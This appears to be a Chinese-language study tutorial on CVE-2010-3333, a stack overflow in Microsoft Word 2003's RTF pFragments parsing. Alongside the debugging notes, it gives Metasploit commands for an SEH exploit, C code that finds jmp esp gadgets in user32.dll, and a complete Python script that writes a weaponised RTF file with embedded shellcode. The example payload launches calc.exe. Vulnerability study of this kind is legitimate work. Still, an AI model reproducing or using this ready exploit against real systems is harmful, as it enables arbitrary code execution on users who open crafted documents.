漏洞分析学习之cve-2010-3333
字数 1752 2025-08-26 22:11:56
CVE-2010-3333漏洞分析与利用教学文档
1. 漏洞概述
CVE-2010-3333是Microsoft Office Word中的一个栈溢出漏洞,存在于RTF解析器中。该漏洞允许攻击者通过特制的RTF文档执行任意代码,影响Microsoft Office 2003 SP3等版本。
2. 测试环境配置
- 操作系统: Windows XP SP3简体中文版
- 虚拟机: VMware 15.5
- 调试工具:
- OllyDbg (吾爱破解版)
- WinDbg x86
- 反汇编工具: IDA Pro 7.0
- 漏洞软件: Microsoft Word 2003 SP3
3. RTF文件格式基础
RTF(富文本格式)文件类似于XML,通过控制字编辑属性。关键控制字:
\rtf1: RTF版本声明\shp: 绘画对象*\shpinst: 图片引用\sp: 绘画对象属性定义\sn pFragments: 定义属性名称,pFragments段是图形的附加部分,属于数组结构\sv: 定义属性值
4. 漏洞分析
4.1 漏洞触发点
漏洞位于处理pFragments属性时,qmemcpy函数执行内存拷贝时未进行长度检查,导致栈溢出。
关键函数调用链:
mso!Ordinal1488+0x29fdmso!Ordinal901+0x2a3cmso!Ordinal4925+0x530mso!Ordinal5148+0x360mso!Ordinal4783+0x12f
最终调用到qmemcpy函数:
30edf864 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
4.2 漏洞原理
漏洞函数原型:
void __stdcall sub_30EDF83E(int a1, void *a2, int a3)
{
if (a2)
qmemcpy(a2, (const void *)(*(_DWORD *)(a1 + 16) + a3 * (*(_DWORD *)(a1 + 8) & 0xFFFF)),
*(_DWORD *)(a1 + 8) & 0xFFFF);
}
问题在于qmemcpy复制数据时没有限制长度,导致可以覆盖栈上的返回地址和SEH结构。
5. 漏洞利用
5.1 基于SEH的利用
-
SEH链覆盖:
- 通过溢出覆盖SEH处理函数指针
- 典型的SEH攻击使用
pop pop ret指令序列 - 示例SEH处理地址:
30001BDD(pop ecx; pop ecx; ret)
-
利用步骤:
- 覆盖SEH处理函数指针
- 触发异常使控制流转向我们的shellcode
- 使用MSF生成利用样本:
search cve-2010-3333 use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof set target 2 # 2003 sp3 set PAYLOAD windows/exec set CMD calc.exe set EXITFUNC seh exploit
5.2 基于ROP的利用
-
查找jmp esp指令:
- 使用以下代码搜索user32.dll中的jmp esp指令:
#include <windows.h> #include <stdio.h> #define DLL_NAME "user32.dll" int main() { BYTE *ptr; int position, address; HINSTANCE handle; BOOL done_flag = FALSE; handle = LoadLibrary(DLL_NAME); if(!handle) { printf("load dll error"); return 0; } ptr = (BYTE *)handle; for(position = 0; !done_flag; position++) { try { if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) { address = (int)ptr + position; printf("OPCODE found at 0x%x\n", address); } } catch(...) { address = (int)ptr + position; printf("END OF 0x%x\n", address); done_flag = true; } } getchar(); return 0; } - 示例结果:
0x77d93ac8
- 使用以下代码搜索user32.dll中的jmp esp指令:
-
构造ROP利用:
- 利用jmp esp跳转到shellcode
- 需要绕过后续检查,确保
je指令跳过 - 示例payload结构:
[RTF头部] [长度字段] [填充数据(0x14*2字节)] [jmp esp地址] [填充数据(0x14*2字节)] [shellcode] [RTF尾部]
-
完整利用代码示例:
length = "0010" jmp_esp = "cc3ad977" # 0x77d93acc shellcode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500" payload = r"{\rtf1{\shp{\sp{\sn pFragments}{\sv 5;5;11111111" payload += length payload += "a" * (0x14 * 2) payload += jmp_esp payload += "0" * (0x14 * 2) payload += shellcode payload += "}}}}" with open("shellcode.rtf", "w") as f: f.write(payload)
6. 调试技巧
6.1 WinDbg常用命令
db <addr>: 查看指定地址的数据ub <addr>: 查看指定地址前的汇编代码u <addr>: 查看指定地址后的汇编代码!exchain: 查看SEH链!address <addr>: 查看指定地址的内存页保护情况lmv m mso: 查看mso模块信息bp <addr>: 设置断点bl: 列出所有断点bc: 清除断点
6.2 OllyDbg技巧
F2: 设置/取消断点F8: 单步步过F7: 单步步进- 锁定堆栈: 在堆栈窗口右键选择"锁定堆栈"
- 查看SEH链: 在查看菜单中选择"SEH链"
6.3 调试注意事项
- 附加Word进程后,使用Ctrl+Shift+F5重新运行
- 按F5运行后剪贴板会被清空,重要地址需要记录
- 使用Ctrl+Break暂停执行后再下断点
- 观察返回地址(EBP+4)而非EBP本身
7. 总结
7.1 关键知识点
- RTF文件格式及其结构
- 栈溢出原理及利用方法
- SEH机制及其在漏洞利用中的应用
- ROP技术基础及jmp esp的查找方法
- 漏洞利用的构造技巧
7.2 防御措施
- 及时安装Microsoft安全更新
- 禁用Office中的RTF解析功能
- 使用DEP、ASLR等防护机制
- 对可疑RTF文件进行沙箱分析
7.3 扩展学习
- 结构化异常处理(SEH)深入解析
- ROP攻击的高级技巧
- 漏洞利用的可靠性提升方法
- 现代缓解机制的绕过技术
通过本教学文档,您应该能够全面理解CVE-2010-3333漏洞的原理、分析方法及利用技术,并掌握相关的调试技巧和工具使用方法。